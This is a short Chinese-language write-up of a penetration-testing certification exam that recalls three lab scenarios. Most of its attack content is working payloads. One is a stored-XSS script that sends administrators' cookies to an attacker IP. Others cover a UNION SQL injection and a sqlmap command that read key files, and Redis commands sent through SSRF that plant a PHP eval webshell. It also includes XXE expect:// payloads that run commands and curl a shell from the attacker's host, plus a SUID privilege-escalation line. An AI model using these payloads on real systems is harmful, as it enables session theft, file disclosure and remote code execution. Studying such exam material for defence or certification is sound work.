pts 的考試從報名到考試不到半個月,刷題有基礎的很好過,因為很多題如果培訓了的話基本上都是原題,但是有些題培訓機構也不知道,就比如這次考試,最後一道大題,最裡面的服務是 nacos,而 nacos 沒 exp,嘗試了常用的弱口令,沒進去就沒做了,最有的題只有 2 個 key(20 分),如果保證前面的 key 都獲取到了沒問題就已經有 80 分了,只有有 70 分以上就及格。
講一下我考試遇到的題
場景 1#
xss+sqli + 文件讀取,比較簡單
xss 需要攻擊機器用 python 起 web 服務,然後插入 payload,這裡也就是利用存儲型 xss 漏洞寫入 payload,獲取管理員的 cookie。
<script>document.write('<img src="http://ip:1234/?cookie='+document.cookie+'" />')</script>
獲取到管理員 cookie
通過瀏覽器右鍵頁面-檢查
,選擇應用
,找到存儲-cookie
,替換成管理員的 cookie
sqli payload
http://ip:3603/admin/edit.php?id=12312/**/UniOn/**/SeLEct/**/1,2,load_file("/var/key2"),4#
或者 sqlmap 跑
http://IP:3603/admin/edit.php?id=11 (GET)
# sqlmap.py -u http://10.52.0.29:3603/admin/edit.php?id=11 --cookie=PHPSESSID=732ece3c4dcdba588d48593d689bf927 --dbms mysql --file-read /var/key2
任意文件讀取
http://IP:3603/admin/setting.php?page=/tmp/key3
場景 2#
ssrf+redis getshell
ssrf:目錄掃描 robots.txt,下載 backup.zip 壓縮包,解壓得到一個 txt 文件,會給一個 web 端口,題目給的搜索框輸入http://localhost:1234,獲取第一個 key
redis getshell:
寫 webshell
dict://localhost:6379/flushall
dict://localhost:6379/set:1:'<?php eval($_POST[1]);?>'
dict://localhost:6379/config:set:dir:/var/www/html/app1
dict://localhost:6379/config:set:dbfilename:a.php
dict://localhost:6379/save
寫私鑰
獲取第二個 key,第三個 key 在任務計劃中
場景 3#
一個 xxe 漏洞
通過 expect 寫入 webshell,expect 可執行命令,通過在攻擊機起 web 服務,curl 去請求
執行命令
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://id">]><p>&b;</p>
寫入 shell
<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://curl$IFS$9-O$IFS$9'192.168.80.48:8088/shell.php'">]><p>&b;</p>
提權
find / -perm -u=s -type f 2>/dev/null
find 1 -exec 1s /root \;